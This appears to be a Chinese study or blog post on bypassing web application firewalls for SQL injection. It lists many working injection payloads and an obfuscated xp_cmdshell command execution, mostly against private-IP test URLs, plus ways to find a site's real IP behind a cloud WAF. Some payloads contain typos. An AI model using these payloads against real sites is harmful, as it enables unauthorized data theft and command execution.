waf绕过之——waf注入绕过

waf注入绕过

这样算是面试过程中比较经典的一个问题了

网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。
功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。

能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。主要是防一些网络层和传输层的攻击

目录

  • waf注入绕过
  • 分类
    • 软件
    • 硬件
    • 云waf
  • WAF简介
  • waf注入绕过检测方法
    • waf检测阶段流程
    • WAF身份认证阶段的绕过
    • 数据包解析阶段的绕过(主要是正常解析情况)
  • 补充

分类

软件

装在主机侧(服务器)上
比较出名的安全狗就是其中之一

硬件

创建在企业中
用户访问网站都要经过

云waf

知道真实IP地址可以过

				很多公司不是全部域名都上了云waf

利用泛域名获取真实IP
开启之后,任何域名都可以解析,可以解决暴力破解
也就是可以通过一个不存在的二级域名访问网站比如wdedx.baidu.com
开启泛域名有一个缺点
这时候不管是CDN还是WAF都是直接到真实IP
也就是我们通过ping一个随意的二级域名,就可以找到真实IP了

同时也可以利用burp中插件bypass waf
注意burp任何插件安装后都要在项目选项,会话处理进行配置
可以伪造本地访问

waf硬件软件功能是差不多,像一个防火墙一样,创建在企业链路上,基本是企业必备的,按域名收费

WAF简介

网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。

常见的系统攻击分为两类:
一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;
二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

waf注入绕过检测方法

要实现绕过首先让我们了解一下waf防御流程

waf检测阶段流程

waf绕过之——waf注入绕过_第1张图片

WAF身份认证阶段的绕过

身份认证阶段
WAF是有一个白名单的,在白名单内的客户请求将不做检测

绕过方法一:伪造搜索引擎
老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击, 这里推荐一个火狐插件,可以修改User-Agent,叫User-Agent Switcher
现在不可以了

绕过方法二:伪造白名单特殊目录
之前360webscan有这个缺陷,现在也不行了

绕过方法三:直接攻击源站
这个方法可以用于一些云WAF,云WAF的原理:通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过

数据包解析阶段的绕过(主要是正常解析情况)

(1)编码绕过
最常见的方法之一,可以进行urlencode
早期的方法,现在效果不是太好
(2)修改请求方式绕过
最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。
(3)复参数绕过
例如一个请求是这样的

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改为

GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
(4)WAF触发规则的绕过
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多
绕过策略一:特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:

http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

绕过策略二:特殊字符拼接
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
如:GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
可以改为:GET /pen/news.php?id=1; exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)

绕过策略三:注释包含关键字
在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的WAF可以完美绕过。
如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为: GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user
现在不可以

绕过策略四:特殊符号
尝试seelct~ select~1 select! select@等绕过成功

(5):空格替换法
把空格替换成%0a/**/可以绕过最新版本WAF, 在Pangolin中 点击 编辑-- 配置-- 高级-- 选择替换空格使用-- 填上%0a/**/即可

http://192.168.0.142:8080/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5

(6)关键字替换

http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....

(7)编码与注释结合

http://www.***.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
http://192.168.0.142:8080/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5
http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不拦截)

U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:

sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1

(8)利用WAF本身的功能绕过
假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
(9)使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD
	@@version | version()
		concat() | concat_ws()
			group_concat() | concat_ws()
					= | like
				**还有就是把or '1=1' 改成更复杂的例如-1=-1**

(10)组合绕过waf
先判断注入点,把and为&&,urlencode后为%26%26

http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2

具体讲解绕过方法
1.利用()代替空格
2.利用mysql特性/!/执行语句
3.利用/**/混淆代码
注入语句

							union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
							id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,     
							user(),(database/**/()),4,5
							http://192.168.0.102:8080/sql.php?id=1 
							union/*%00*//*!50010select*/1,user(),version(),4,5

注意
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./!/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00

补充

IP地址黑名单,在生产环境中有很多公司选择关闭这一功能,一方面是误封率很高,另一方面因为正常用户IP被攻击者伪造利用

waf针对于get防护度是很高的,很多选项默认开启,但是cookie post很多功能并不开启,现在没有一个安全厂商可以做到全部功能开启,资源占用量太大,所以一般只检测常见问题
因此在绕过的时候尽量避免get请求

小结:整体思路还是比较庞大的,按照整体防御思路进行绕过来记忆吧,感觉WAF跟DNS有一点异曲同工之处,查了一下,可以结合起来做防御,今天还学了点木马免杀,总结就不发了,问为什么的就赶紧远离好吧waf绕过之——waf注入绕过_第2张图片

你可能感兴趣的:(web渗透测试与代码审计,#+,waf绕过)